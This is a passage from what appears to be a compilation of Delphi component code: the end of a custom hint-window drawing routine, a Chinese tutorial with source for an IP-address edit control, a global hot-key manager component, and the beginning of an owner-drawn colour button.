AP[0]:=Point(Width-SHADOW_WIDTH-20,15);

AP[1]:=Point(Width-SHADOW_WIDTH-10,15);

AP[2]:=Point(Width-SHADOW_WIDTH,0);

{ for hdDownXXX, SP not used now }

SP[0]:=Point(12,Height-15);

SP[1]:=Point(25,Height-15);

SP[2]:=Point(12,Height);

end;

end;

{ Draw Shadow of the Hint Rect}

if (FHintDirection<=hdUpLeft) then

begin

ShadowRgn:=CreateRoundRectRgn(0+10,0+8,Width,Height-9,8,8);

{ 8 is for RoundRect's corner }

for X:=Width-SHADOW_WIDTH-8 to Width do

for Y:=8 to Height-14 do

begin

if (Odd(X)=Odd(Y)) and PtInRegion(ShadowRgn,X,Y) then

MemBmp.Canvas.Pixels[X,Y]:=FDanHint.HintShadowColor;

end;

for X:=10 to Width do

for Y:=Height-14 to Height-9 do

begin

if (Odd(X)=Odd(Y)) and PtInRegion(ShadowRgn,X,Y) then

MemBmp.Canvas.Pixels[X,Y]:=FDanHint.HintShadowColor;

end;

end

else { for hdDownXXX }

begin

ShadowRgn:=CreateRoundRectRgn(0+10,0+8+15,Width,Height-2,8,8);

for X:=Width-SHADOW_WIDTH-8 to Width do

for Y:=23 to Height-8 do

begin

if (Odd(X)=Odd(Y)) and PtInRegion(ShadowRgn,X,Y) then

MemBmp.Canvas.Pixels[X,Y]:=FDanHint.HintShadowColor;

end;

for X:=10 to Width do

for Y:=Height-8 to Height-2 do

begin

if (Odd(X)=Odd(Y)) and PtInRegion(ShadowRgn,X,Y) then

MemBmp.Canvas.Pixels[X,Y]:=FDanHint.HintShadowColor;

end;

end;

DeleteObject(ShadowRgn);

{ Draw the shadow of the arrow }

if (HintDirection<=hdUpLeft) then

begin

ShadowRgn:=CreatePolygonRgn(SP,3,WINDING);

for X:=SP[0].X to SP[1].X do

for Y:=SP[0].Y to SP[2].Y do

begin

if (Odd(X)=Odd(Y)) and PtInRegion(ShadowRgn,X,Y) then

MemBmp.Canvas.Pixels[X,Y]:=FDanHint.HintShadowColor;

end;

DeleteObject(ShadowRgn);

end;

{ Draw HintRect }

MemBmp.Canvas.Pen.Color:=clBlack;

MemBmp.Canvas.Pen.Style:=psSolid;

MemBmp.Canvas.Brush.Color:=FDanHint.HintColor;

MemBmp.Canvas.Brush.Style:=bsSolid;

if (FHintDirection<=hdUpLeft) then

MemBmp.Canvas.RoundRect(0,0,Width-SHADOW_WIDTH,Height-14,9,9)

else

MemBmp.Canvas.RoundRect(0,0+AddNum,Width-SHADOW_WIDTH,Height-14+6,9,9);

{ Draw Hint Arrow }

MemBmp.Canvas.Pen.Color:=FDanHint.HintColor;

MemBmp.Canvas.MoveTo(AP[0].X,AP[0].Y);

MemBmp.Canvas.LineTo(AP[1].X,AP[1].Y);

MemBmp.Canvas.Pen.Color:=clBlack;

FillRegion:=CreatePolygonRgn(AP,3,WINDING);

FillRgn(MemBmp.Canvas.Handle,FillRegion,MemBmp.Canvas.Brush.Handle);

DeleteObject(FillRegion);

MemBmp.Canvas.LineTo(AP[2].X,AP[2].Y);

MemBmp.Canvas.LineTo(AP[0].X,AP[0].Y);

{ SetBkMode makes DrawText's text be transparent }

SetBkMode(MemBmp.Canvas.Handle,TRANSPARENT);

MemBmp.Canvas.Font.Assign(FDanHint.HintFont);

DrawText(MemBmp.Canvas.Handle, StrPCopy(CCaption, Caption), -1, R,

DT_LEFT or DT_NOPREFIX or DT_WORDBREAK);

Canvas.CopyMode:=cmSrcCopy;

Canvas.CopyRect(ClientRect,MemBmp.Canvas,ClientRect);

MemBmp.Free;

end;

procedure TNewHint.CheckUpLeft(Spot:TPoint);

var

Width,Height:Integer;

begin

Dec(Spot.Y,N_PIXELS);

Width:=UpRect.Right-UpRect.Left;

Height:=UpRect.Bottom-UpRect.Top;

SelectHintDirection:=hdUpLeft;

if (Spot.X+SHADOW_WIDTH-Width)<0 then

begin

Inc(Spot.Y,N_PIXELS);{back tp original}

CheckUpRight(Spot);

Exit;

end;

if (Spot.Y-Height)<0 then

begin

Inc(Spot.Y,N_PIXELS);

CheckDownLeft(Spot);

Exit;

end;

ShowPos.X:=Spot.X+SHADOW_WIDTH-Width;

ShowPos.Y:=Spot.Y-Height;

end;

procedure TNewHint.CheckUpRight(Spot:TPoint);

var

Width,Height:Integer;

begin

Dec(Spot.Y,N_PIXELS);

Width:=UpRect.Right-UpRect.Left;

Height:=UpRect.Bottom-UpRect.Top;

SelectHintDirection:=hdUpRight;

if (Spot.X+Width)>Screen.Width then

begin

Inc(Spot.Y,N_PIXELS);

CheckUpLeft(Spot);

Exit;

end;

if (Spot.Y-Height)<0 then

begin

Inc(Spot.Y,N_PIXELS);

CheckDownRight(Spot);

Exit;

end;

ShowPos.X:=Spot.X;

ShowPos.Y:=Spot.Y-Height;

end;

procedure TNewHint.CheckDownRight(Spot:TPoint);

var

Width,Height:Integer;

begin

Inc(Spot.Y,N_PIXELS*3);

Width:=DownRect.Right-DownRect.Left;

Height:=DownRect.Bottom-DownRect.Top;

SelectHintDirection:=hdDownRight;

if (Spot.X+Width)>Screen.Width then

begin

Dec(Spot.Y,N_PIXELS*3);

CheckDownLeft(Spot);

Exit;

end;

if (Spot.Y+Height)>Screen.Height then

begin

Dec(Spot.Y,N_PIXELS*3);

CheckUpRight(Spot);

Exit;

end;

ShowPos.X:=Spot.X;

ShowPos.Y:=Spot.Y;

end;

procedure TNewHint.CheckDownLeft(Spot:TPoint);

var

Width,Height:Integer;

begin

Inc(Spot.Y,N_PIXELS*3);

Width:=DownRect.Right-DownRect.Left;

Height:=DownRect.Bottom-DownRect.Top;

SelectHintDirection:=hdDownLeft;

if (Spot.X+SHADOW_WIDTH-Width)<0 then

begin

Dec(Spot.Y,N_PIXELS*3);

CheckDownRight(Spot);

Exit;

end;

if (Spot.Y+Height)>Screen.Height then

begin

Dec(Spot.Y,N_PIXELS*3);

CheckUpLeft(Spot);

Exit;

end;

ShowPos.X:=Spot.X+SHADOW_WIDTH-Width;

ShowPos.Y:=Spot.Y;

end;

function TNewHint.FindCursorControl:TControl;

begin

{ControlAtPos}

end;

procedure TNewHint.SelectProperHintDirection(ARect:TRect);

var

Spot:TPoint;

OldHintDirection,SendHintDirection:THintDirection;

HintControl:TControl;

begin

GetCursorPos(Spot);

HintCOntrol:=FindDragTarget(Spot,True);

Inc(ARect.Right,10+SHADOW_WIDTH);

Inc(ARect.Bottom,20);

UpRect:=ARect;

Inc(ARect.Bottom,9);

DownRect:=ARect;

OldHintDirection:=FDanHint.HintDirection;

SendHintDirection:=FDanHint.HintDirection;

{ Tricky, why here can't use FDanHint.OnSe...? }

if Assigned(FDanHint.FOnSelectHintDirection) then

begin

FDanHint.FOnSelectHintDirection(HintControl,SendHintDirection);

FDanHint.HintDirection:=SendHintDirection;

end;

case FDanHint.HintDirection of

hdUpRight:CheckUpRight(Spot);

hdUpLeft:CheckUpLeft(Spot);

hdDownRight:CheckDownRight(Spot);

hdDownLeft:CheckDownLeft(Spot);

end;

FDanHint.HintDirection:=OldHintDirection;

end;

procedure TNewHint.ActivateHint(Rect: TRect; const AHint: string);

var

ScreenDC:HDC;

LeftTop:TPoint;

tmpWidth,tmpHeight:Integer;

begin

MemBmp:=TBitmap.Create;

Caption := AHint;

{ add by Dan from Here }

FDanHint:=FindDanHint;

SelectProperHintDirection(Rect);

HintDirection:=SelectHintDirection;

{ if the following changes, make sure to modify

SelectProperHintDirection also }

Inc(Rect.Right,10+SHADOW_WIDTH);

Inc(Rect.Bottom,20);

if (FHintDirection>=hdDownRight) then Inc(Rect.Bottom,9);

{ to expand the rect }

tmpWidth:=Rect.Right-Rect.Left;

tmpHeight:=Rect.Bottom-Rect.Top;

Rect.Left:=ShowPos.X;

Rect.Top:=ShowPos.Y;

Rect.Right:=Rect.Left+tmpWidth;

Rect.Bottom:=Rect.Top+tmpHeight;

BoundsRect := Rect;

MemBmp.Width:=Width;

MemBmp.Height:=Height;

ScreenDC:=CreateDC('DISPLAY',nil,nil,nil);

LeftTop.X:=0;

LeftTop.Y:=0;

LeftTop:=ClientToScreen(LeftTop);

{ use MemBmp to store the original bitmap

on screen }

BitBlt(MemBmp.Canvas.Handle,0,0,Width,Height,ScreenDC,

LeftTop.X,LeftTop.Y,SRCCOPY);

{ SetBkMode(Canvas.Handle,TRANSPARENT);}

SetWindowPos(Handle, HWND_TOPMOST, ShowPos.X, ShowPos.Y, 0,

0, SWP_SHOWWINDOW or SWP_NOACTIVATE or SWP_NOSIZE);

BitBlt(Canvas.Handle,0,0,Width,Height,MemBmp.Canvas.Handle,

0,0,SRCCOPY);

DeleteDC(ScreenDC);

end;

initialization

end.


IP地址控件

为Delphi/C++ Builder增添IP控件

西安交通大学

刘明华

在进行网络设置时，我们常常碰到需要填写IP地址的情况，为此Windows引入了一个专门用来接受IP地址输入的控件（如图所示）。Windows IP地址编辑控件（IP Address edit control）是随着微软的Internet Explorer 4.0的推出而引入Windows操作系统的（Windows 98和Windows 2000中都已经包含了此控件）。但是令人遗憾的是在Inprise公司最新版本的Delphi 5和C++ Builder 5中，Borland可视化控件库（Visual Component Library）中居然没有提供IP地址编辑控件。

为了让Delphi和C++ Builder开发人员更方便地使用IP控件，本文介绍如何将它包装成一个可以在Delphi和C++ Builder的IDE环境中使用的可视化Delphi控件。同时本文也为读者学习Delphi控件编写提供了一个比较好的示例；它涉及了Delphi控件编写的以下方面的知识：将Windows窗口类封装成Delphi控件，将Windows消息映射成事件属性，多个属性共享read和write方法，以及属性编辑器（Property Editor）的构造。

IP控件的属性、方法及事件

本文将为Delphi/C++ Builder的IP控件实现下面的属性、方法和事件。它们的简单介绍如下：

IP属性：IP控件中的IP地址值(32位整数LongWord)。为了获取IP控件的IP值，我们只需要读取此属性即可；通过对IP属性赋值，我们就能够改变IP控件的内容。

Field0..Field3属性：Field0到Field3分别为IP控件的4个部分的值。这四个属性也是为了读取和改变IP控件的IP值而设置的。

Field0Range..Field3Range 属性：Field0Range到Field3Range限制IP控件各部分的取值的范围。

Blank属性：判断IP控件的IP串是否为空，此属性为只读属性。

About属性：在Object Inspector中点击它可以显示控件的版本信息，添加此属性是为了提供一个编写属性编辑器的简单例子。

以下属性继承自TWinControl类：Font、TabOrder、TabStop、 ParentShowHint、ShowHint、Hint、及Visible。

TIPEdit的事件属性有：OnFieldChange、OnChange、OnEnter以及OnExit。

Clear方法：清空IP控件中的IP串。

SetFieldFocus方法：设置IP控件的输入焦点。

IP控件的实现

//文件名：IPEdit.PAS

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

// IP address edit control for Borland Delphi 5

// Implemented by Simon Liu (simon_liu@263.net)

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

unit IPEdit;

interface

uses Windows, Messages, SysUtils, Classes,

Forms, Controls, ComCtrls, CommCtrl, DsgnIntf;

type

TFieldRange = record

LowRange: Byte;

HighRange: Byte;

end;

TFieldChangeEvent = procedure(Sender: TObject; OldField, Value: Byte) of Object;

//定义TAboutProperty属性编辑器

TAboutProperty = class(TPropertyEditor)

public

procedure Edit; override;

function GetAttributes: TPropertyAttributes; override;

function GetValue: string; override;

end;

TIPEdit = class(TWinControl)

private

fAbout:TAboutProperty;

FIP: LongWord;

FFields:array[0..3] of Byte;

FFieldRanges: array [0..3] of TFieldRange;

FCreating: Boolean;

FOnChange: TNotifyEvent;

FOnEnter: TNotifyEvent;

FOnExit: TNotifyEvent;

FOnFieldChange: TFieldChangeEvent;

procedure SetIP(Value: LongWord);

function GetIP: LongWord;

function GetField(Index:Integer):Byte;

procedure SetField(Index:Integer; B:Byte);

function GetFieldRange(Field: Integer): TFieldRange;

procedure SetFieldRange(Field:integer; Value: TFieldRange);

procedure SetIPAddress;

function GetBlank: Boolean;

procedure WMNotifyFormat(var Message: TMessage); message WM_NOTIFYFORMAT;

//处理IP控件的通知消息IPN_FIELDCHANGED

procedure CNNotify(var Message: TWMNotify); message CN_NOTIFY;

procedure CNCommand(var Message: TWMCommand); message CN_COMMAND;

procedure WMSetFont(var Message: TWMSetFont); message WM_SETFONT;

protected

procedure CreateParams(var Params: TCreateParams); override;

procedure CreateWnd; override;

procedure DestroyWnd; override;

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

//清除IP控件中的IP串

procedure Clear;

//设置IP控件的输入焦点（field的有效取值为0..3）

procedure SetFieldFocus(Field:Byte);

published

//判断IP控件的IP串是否为空

property Blank: Boolean read GetBlank;

//Field0到Field3分别为IP控件的4个部分的值

property Field0: Byte index 0 read GetField write SetField;

property Field1: Byte index 1 read GetField write SetField;

property Field2: Byte index 2 read GetField write SetField;

property Field3: Byte index 3 read GetField write SetField;

//Field0Range到Field3Range限制IP控件各部分的取值的范围

property Field0Range: TFieldRange index 0 read GetFieldRange write SetFieldRange;

property Field1Range: TFieldRange index 1 read GetFieldRange write SetFieldRange;

property Field2Range: TFieldRange index 2 read GetFieldRange write SetFieldRange;

property Field3Range: TFieldRange index 3 read GetFieldRange write SetFieldRange;

//IP地址值(32位整数LongWord)

property IP: LongWord read GetIP write SetIP;

//The About box

property About:TAboutProperty read fAbout;

//事件属性

property OnChange: TNotifyEvent read FOnChange write FOnChange;

property OnEnter: TNotifyEvent read FOnEnter write FOnEnter;

property OnExit: TNotifyEvent read FOnExit write FOnExit;

property OnFieldChange: TFieldChangeEvent read FOnFieldChange write FOnFieldChange;

//以下属性继承自TWinControl控件

property Enabled;

property TabOrder;

property TabStop;

property ParentShowHint;

property ShowHint;

property Hint;

property Visible;

end;

procedure Register;

implementation

{~~~~~~~~~~~~~~~~~TAboutProperty~~~~~~~~~~~~~~~~~~~~~}

procedure TAboutProperty.Edit;

begin

Application.MessageBox(

'TIPEdit for Delphi 5'#13

+'(C) 2000 by Simon Liu'#13

+'Email:simon_liu@263.net',

'About TIPEdit',MB_ICONINFORMATION);

end;

function TAboutProperty.GetAttributes: TPropertyAttributes;

begin

Result := [paDialog, paReadOnly];

end;

function TAboutProperty.GetValue: string;

begin

Result := '(Simon)';

end;

{~~~~~~~~~~~~~~~~~~~~~~TIPEdit~~~~~~~~~~~~~~~~~~~~~~~~}

constructor TIPEdit.Create(AOwner: TComponent);

var

i: integer;

begin

//初始化ICC_INTERNET_CLASSES类控件

CheckCommonControl(ICC_INTERNET_CLASSES);

inherited Create(AOwner);

for i:= 0 to 3 do

begin

FFieldRanges[i].LowRange:= 0;

FFieldRanges[i].HighRange:= 255;

FFields[i]:=0;

end;

FIP:=0;

Height:= 25;

Width:= 152;

TabSTop:= True;

end;

procedure TIPEdit.DestroyWnd;

begin

inherited DestroyWnd

end;

destructor TIPEdit.Destroy;

begin

inherited Destroy;

end;

procedure TIPEdit.CreateParams(var Params: TCreateParams);

begin

inherited CreateParams(Params);

CreateSubClass(Params, WC_IPADDRESS);

with Params do

begin

end;

end;

procedure TIPEdit.CreateWnd;

begin

FCreating := True;

try

inherited CreateWnd;

SetIPAddress;

finally

FCreating := False;

end;

end;

function TIPEdit.GetBlank: Boolean;

begin

Result:= Boolean(SendMessage(Handle, IPM_ISBLANK, 0, 0));

end;

procedure TIPEdit.Clear;

begin

SendMessage(Handle, IPM_CLEARADDRESS, 0, 0);

end;

procedure TIPEdit.SetFieldFocus(Field:Byte);

begin

SendMessage(Handle, IPM_SETFOCUS, Field, 0);

end;

function TIPEdit.GetFieldRange(Field: Integer): TFieldRange;

begin

Result:= FFieldRanges[Field];

end;

procedure TIPEdit.SetFieldRange(Field: Integer; Value: TFieldRange);

begin

if Value.LowRange > Value.HighRange then exit;

if (FFieldRanges[Field].LowRange <> Value.LowRange) or

(FFieldRanges[Field].HighRange <> Value.HighRange) then

begin

FFieldRanges[Field]:= Value;

SendMessage(Handle, IPM_SETRANGE, Field,

MakeIPRange(Value.LowRange, Value.HighRange));

end;

end;

function TIPEdit.GetField(Index: Integer): Byte;

begin

if (Index>=0)and(Index<=3) then Result:=FFields[Index]

else Result:=0;

end;

procedure TIPEdit.SetField(Index:Integer; B:Byte);

begin

if (FFields[Index] <> B)then

begin

FFields[Index]:=B;

SetIPAddress;

end;

end;

procedure TIPEdit.SetIPAddress;

var

i:LongWord;

begin

i:=MAKEIPADDRESS(FFields[0], FFields[1], FFields[2], FFields[3]);

SendMessage(Handle, IPM_SETADDRESS, 0, i);

FIP:=i;

end;

procedure TIPEdit.SetIP(Value: LongWord);

begin

if (FIP <> Value) then

begin

FFields[0]:= First_IPAddress(Value);

FFields[1]:= Second_IPAddress(Value);

FFields[2]:= Third_IPAddress(Value);

FFields[3]:= Fourth_IPAddress(Value);

SetIPAddress;

end;

end;

function TIPEdit.GetIP: LongWord;

begin

SendMessage(Handle, IPM_GETADDRESS, 0, Integer(@Result));

end;

procedure TIPEdit.WMSetFont(var Message: TWMSetFont);

begin

//不可以调用父控件的此方法

//否则，控件不能正常工作

end;

procedure TIPEdit.WMNotifyFormat(var Message: TMessage);

begin

with Message do

Result := DefWindowProc(Handle, Msg, WParam, LParam);

end;

procedure TIPEdit.CNNotify(var Message: TWMNotify);

var

pNM: PNMIPAddress;

begin

with (Message.NMHdr)^ do

begin

case Code of

IPN_FIELDCHANGED:

begin

pNM:= PNMIPADDRESS(Message.NMHdr);

if (pNM^.iField>=0)and(pNM^.iField<=3) then

FFields[pNM^.iField]:=pNM^.iValue;

if Assigned(FOnFieldChange) then

FOnFieldChange(self, pNM^.iField, pNM^.iValue);

end;

end;

end;

end;

procedure TIPEdit.CNCommand(var Message: TWMCommand);

begin

case Message.NotifyCode of

EN_CHANGE:

begin

if not FCreating then

if Assigned(FOnChange) then FOnChange(self);

end;

EN_KILLFOCUS: if Assigned(FOnExit) then FOnExit(self);

EN_SETFOCUS: if Assigned(FOnEnter) then FOnEnter(self);

end;

end;

//注册TIPEdit控件以及TAboutProperty属性编辑器

procedure Register;

begin

RegisterComponents('Simon', [TIPEdit]);

RegisterPropertyEditor(typeInfo(TAboutProperty),

TIPEdit, 'ABOUT', TAboutProperty);

end;

end.


一个热键控件

unit HotKeyMgr;

{ Designed by Alexandre Guillien 11/11/1999

This component allows you to easily use hot keys in your project. These hot keys

are active even if your application is not active.

Component use :

Drop it on your Form/DataModule

Dbl click on it or Edit the HotKeys property.

In the editor, select the key and the optional shifts (Shift, Alt or Ctrl)

Give a name to the hot key (optional).

Finally, double click on the OnHotKeyActivation event in the object inspector.

The will create an event where you will be able to make your code.

E-Mail = AGuillien@csi.com

Mail : 12, rue Rhonat 69100 Villeurbanne FRANCE

}

interface

uses

Classes, Windows, Messages, Forms;

type

TShiftState = set of (ssShift, ssAlt, ssCtrl);

THotKeyManager = class;

THotKeyItem = class(TCollectionItem)

private

FHotKeyId: Integer;

FOnHotKey: TNotifyEvent;

FName: string;

{}

FHotKey: Integer;

FShiftState: TShiftState;

procedure SetShiftState(State: TShiftState);

function GetHotKey: string;

procedure SetHotKey(Key: string);

function GetManager: THotKeyManager;

protected

function GetDisplayName: string; override;

{}

procedure RegisterHotKey;

procedure UnRegisterHotKey;

{}

property HotKeyId: Integer read FHotKeyId;

property Manager: THotKeyManager read GetManager;

public

function GetNamePath: string; override;

{}

procedure Assign(Item: TPersistent); override;

published

property Name: string read FName write FName;

property ShiftState: TShiftState read FShiftState write SetShiftState;

property HotKey: string read GetHotKey write SetHotKey;

property OnHotKeyActivation: TNotifyEvent read FOnHotKey write FOnHotKey;

end;

THotKeyCollection = class(TCollection)

private

FOwner: THotKeyManager;

function GetItem(Idx: Integer): THotKeyItem;

procedure SetItem(Idx: Integer; Item: THotKeyItem);

protected

function GetOwner: TPersistent; override;

public

constructor Create(Manager: THotKeyManager);

{}

property Items[Idx: Integer]: THotKeyItem read GetItem write SetItem; default;

end;

THotKeyManager = class(TComponent)

private

FHotKeys: THotKeyCollection;

procedure SetHotKeys(HotKeys: THotKeyCollection);

{}

function WMHotKey(var Msg: TMessage): Boolean;

protected

procedure Loaded; override;

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

{}

function HotKeyByName(const Name: string): THotKeyItem;

published

property HotKeys: THotKeyCollection read FHotKeys write SetHotKeys;

end;

procedure Register;

implementation

uses SysUtils, DsgnIntf, TypInfo;

const

KeyCodes: array[0..60] of Integer =

(0,

Ord('A'), Ord('B'), Ord('C'), Ord('D'), Ord('E'), Ord('F'), Ord('G'), Ord('H'),

Ord('I'), Ord('J'), Ord('K'), Ord('L'), Ord('M'), Ord('N'), Ord('O'), Ord('P'),

Ord('Q'), Ord('R'), Ord('S'), Ord('T'), Ord('U'), Ord('V'), Ord('W'), Ord('X'),

Ord('Y'), Ord('Z'),

Ord('1'), Ord('2'), Ord('3'), Ord('4'), Ord('5'), Ord('6'), Ord('7'), Ord('8'),

Ord('9'), Ord('0'),

VK_F1, VK_F2, VK_F3, VK_F4, VK_F5, VK_F6, VK_F7, VK_F8, VK_F9, VK_F10, VK_F11, VK_F12,

VK_UP, VK_DOWN, VK_LEFT, VK_RIGHT, VK_ESCAPE, VK_TAB, VK_INSERT, VK_DELETE,

VK_HOME, VK_END, VK_PRIOR, VK_NEXT);

KeyLabels: array[0..60] of string =

('',

'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',

'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',

'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',

'Y', 'Z',

'1', '2', '3', '4', '5', '6', '7', '8', '9', '0',

'F1', 'F2', 'F3', 'F4', 'F5', 'F6', 'F7', 'F8', 'F9', 'F10', 'F11', 'F12',

'Up', 'Down', 'Left', 'Right', 'Echap', 'Tab', 'Insert', 'Delete',

'Home', 'End', 'Page up', 'Page down');

function THotKeyManager.WMHotKey(var Msg: TMessage): Boolean;

var i: Integer;

begin

for i:= 0 to HotKeys.Count - 1 do

if Msg.wParam = HotKeys[i].HotKeyId then

begin

Result:= True;

if Assigned(HotKeys[i].OnHotKeyActivation) then

HotKeys[i].OnHotKeyActivation(HotKeys[i]);

Exit;

end;

Result:= False;

end;

constructor THotKeyManager.Create(AOwner: TComponent);

begin

FHotKeys:= THotKeyCollection.Create(Self);

inherited Create(AOwner);

if not (csDesigning in ComponentState) then

Application.HookMainWindow(WMHotKey);

end;

destructor THotKeyManager.Destroy;

var i: Integer;

begin

if not (csDesigning in ComponentState) then

Application.UnHookMainWindow(WMHotKey);

for i:= 0 to HotKeys.Count - 1 do

HotKeys[i].UnRegisterHotKey;

FHotKeys.Free; FHotKeys:= nil;

inherited Destroy;

end;

procedure THotKeyManager.Loaded;

var i: Integer;

begin

inherited Loaded;

if not (csDesigning in ComponentState) then

for i:= 0 to HotKeys.Count - 1 do

HotKeys[i].RegisterHotKey;

end;

function THotKeyManager.HotKeyByName(const Name: string): THotKeyItem;

var i: Integer;

begin

for i:= 0 to HotKeys.Count - 1 do

if CompareText(Name, HotKeys[i].Name) = 0 then

begin

Result:= HotKeys[i];

Exit;

end;

Result:= nil;

end;

procedure THotKeyManager.SetHotKeys(HotKeys: THotKeyCollection);

begin

FHotKeys.Assign(HotKeys);

end;

{ THotKeyCollection }

constructor THotKeyCollection.Create(Manager: THotKeyManager);

begin

FOwner:= Manager;

inherited Create(THotKeyItem);

end;

function THotKeyCollection.GetItem(Idx: Integer): THotKeyItem;

begin

Result:= THotKeyItem(inherited Items[Idx]);

end;

function THotKeyCollection.GetOwner: TPersistent;

begin

Result:= FOwner;

end;

procedure THotKeyCollection.SetItem(Idx: Integer; Item: THotKeyItem);

begin

inherited Items[Idx]:= Item;

end;

{ THotKeyItem }

procedure THotKeyItem.RegisterHotKey;

var Shift: Integer;

Key: Integer;

begin

if FHotKeyId <> 0 then

UnRegisterHotKey;

if FHotKey <> 0 then

begin

Shift:= 0;

if ssAlt in ShiftState then

Shift:= Shift + MOD_ALT;

if ssCtrl in ShiftState then

Shift:= Shift + MOD_CONTROL;

if ssShift in ShiftState then

Shift:= Shift + MOD_SHIFT;

Key:= KeyCodes[FHotKey];

FHotKeyId:= $A000 + ID;

Windows.RegisterHotKey(Application.Handle, FHotKeyId, Shift, Key);

end;

end;

procedure THotKeyItem.UnRegisterHotKey;

begin

if FHotKeyId <> 0 then

begin

Windows.UnRegisterHotKey(Application.Handle, FHotKeyId);

FHotKeyId:= 0;

end;

end;

procedure THotKeyItem.Assign(Item: TPersistent);

begin

if Item is THotKeyItem then

begin

HotKey:= THotKeyItem(Item).HotKey;

ShiftState:= THotKeyItem(Item).ShiftState;

end else

inherited Assign(Item);

end;

function THotKeyItem.GetDisplayName: string;

procedure AddShift(const S: string);

begin

if Result <> '' then

Result:= Result + ' + ';

Result:= Result + S;

end;

begin

if HotKey = '' then

Result:= inherited GetDisplayName

else if Name <> '' then

Result:= Name

else begin

if ssAlt in ShiftState then

AddShift('Alt');

if ssCtrl in ShiftState then

AddShift('Ctrl');

if ssShift in ShiftState then

AddShift('Shift');

AddShift(HotKey);

end;

end;

function THotKeyItem.GetNamePath: string;

begin

if Collection <> nil then

begin

if Name <> '' then

Result:= Format('%s[%s]',[Collection.GetNamePath, Name])

else

Result:= Format('%s[%d]',[Collection.GetNamePath, Index]);

end else

Result:= ClassName;

end;

function THotKeyItem.GetHotKey: string;

begin

Result:= KeyLabels[FHotKey];

end;

procedure THotKeyItem.SetHotKey(Key: string);

var i: Integer;

begin

i:= 0;

while i < High(KeyLabels) do

begin

Inc(i);

if CompareText(Key, KeyLabels[i]) = 0 then

Break;

end;

if i > High(KeyLabels) then

i:= 0;

FHotKey:= i;

if not (csDesigning in Manager.ComponentState) then

RegisterHotKey;

end;

procedure THotKeyItem.SetShiftState(State: TShiftState);

begin

FShiftState:= State;

if not (csDesigning in Manager.ComponentState) then

RegisterHotKey;

end;

function THotKeyItem.GetManager: THotKeyManager;

begin

Result:= THotKeyCollection(Collection).FOwner;

end;

{ PropEditors }

type

THotKeyProperty = class(TStringProperty)

public

function GetAttributes: TPropertyAttributes; override;

procedure GetValues(Proc: TGetStrProc); override;

end;

function THotKeyProperty.GetAttributes: TPropertyAttributes;

begin

Result:= [paValueList, paMultiSelect];

end;

procedure THotKeyProperty.GetValues(Proc: TGetStrProc);

var i: Integer;

begin

for i:= 1 to High(KeyLabels) do

Proc(KeyLabels[i]);

end;

type

THotKeyManagerEditor = class(TComponentEditor)

protected

procedure GetPropEdit(Editor: TPropertyEditor);

public

procedure Edit; override;

end;

procedure THotKeyManagerEditor.GetPropEdit(Editor: TPropertyEditor);

begin

if Editor.GetName = 'HotKeys' then

Editor.Edit;

end;

procedure THotKeyManagerEditor.Edit;

var L: TDesignerSelectionList;

begin

L:= TDesignerSelectionList.Create;

try

L.Add(Component);

GetComponentProperties(L, [tkClass], Designer, GetPropEdit);

finally

L.Free;

end;

end;

procedure Register;

begin

RegisterComponents('ExtComps', [THotKeyManager]);

RegisterPropertyEditor(TypeInfo(string), THotKeyItem, 'HotKey', THotKeyProperty);

RegisterComponentEditor(THotKeyManager, THotKeyManagerEditor);

end;

end.


ColorButton

{

You cannot change the color of a standard TButton,

since the windows button control always paints itself with the

button color defined in the control panel.

But you can derive derive a new component from TButton and handle

the and drawing behaviour there.

Die Farbe eines Standard TButtons kann nicht ver?ndert werden, sie

ist abh?ngig von den Systemeinstellungen.

Durch Ableiten des TButtons kann der Button aber Farbe annehmen.

}

unit ColorButton;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, Buttons, ExtCtrls;

type

TDrawButtonEvent = procedure(Control: TWinControl;

Rect: TRect; State: TOwnerDrawState) of object;

TColorButton = class(TButton)

private

FCanvas: TCanvas;

IsFocused: Boolean;

FOnDrawButton: TDrawButtonEvent;

protected

procedure CreateParams(var Params: TCreateParams); override;

procedure SetButtonStyle(ADefault: Boolean); override;

procedure CMEnabledChanged(var Message: TMessage); message CM_ENABLEDCHANGED;

procedure CMFontChanged(var Message: TMessage); message CM_FONTCHANGED;

procedure CNMeasureItem(var Message: TWMMeasureItem); message CN_MEASUREITEM;

procedure CNDrawItem(var Message: TWMDrawItem); message CN_DRAWITEM;

procedure WMLButtonDblClk(var Message: TWMLButtonDblClk); message WM_LBUTTONDBLCLK;

procedure DrawButton(Rect: TRect; State: UINT);

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

property Canvas: TCanvas read FCanvas;

published

property OnDrawButton: TDrawButtonEvent read FOnDrawButton write FOnDrawButton;

property Color;

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('Samples', [TColorButton]);

end;

constructor TColorButton.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

FCanvas := TCanvas.Create;

end;

destructor TColorButton.Destroy;

begin

inherited Destroy;

FCanvas.Free;

end;

procedure TColorButton.CreateParams(var Params: TCreateParams);

begin

inherited CreateParams(Params);

with Params do Style := Style or BS_OWNERDRAW;

end;

procedure TColorButton.SetButtonStyle(ADefault: Boolean);

begin

if ADefault <> IsFocused then

begin

IsFocused := ADefault;

Refresh;

end;

end;

procedure TColorButton.CNMeasureItem(var Message: TWMMeasureItem);

begin

with Message.MeasureItemStruct^ do

begin

itemWidth := Width;

itemHeight := Height;

end;

end;

procedure TColorButton.CNDrawItem(var Message: TWMDrawItem);

var

SaveIndex: Integer;

begin

with Message.DrawItemStruct^ do

begin

SaveIndex := SaveDC(hDC);

FCanvas.Lock;

try

FCanvas.Handle := hDC;

FCanvas.Font := Font;

FCanvas.Brush := Brush;

DrawButton(rcItem, itemState);

finally

FCanvas.Handle := 0;

FCanvas.Unlock;

RestoreDC(hDC, SaveIndex);

end;

end;

Message.Result := 1;

end;

procedure TColorButton.CMEnabledChanged(var Message: TMessage);

begin

inherited;

Invalidate;

end;

procedure TColorButton.CMFontChanged(var Message: TMessage);

begin

inherited;

Invalidate;

end;

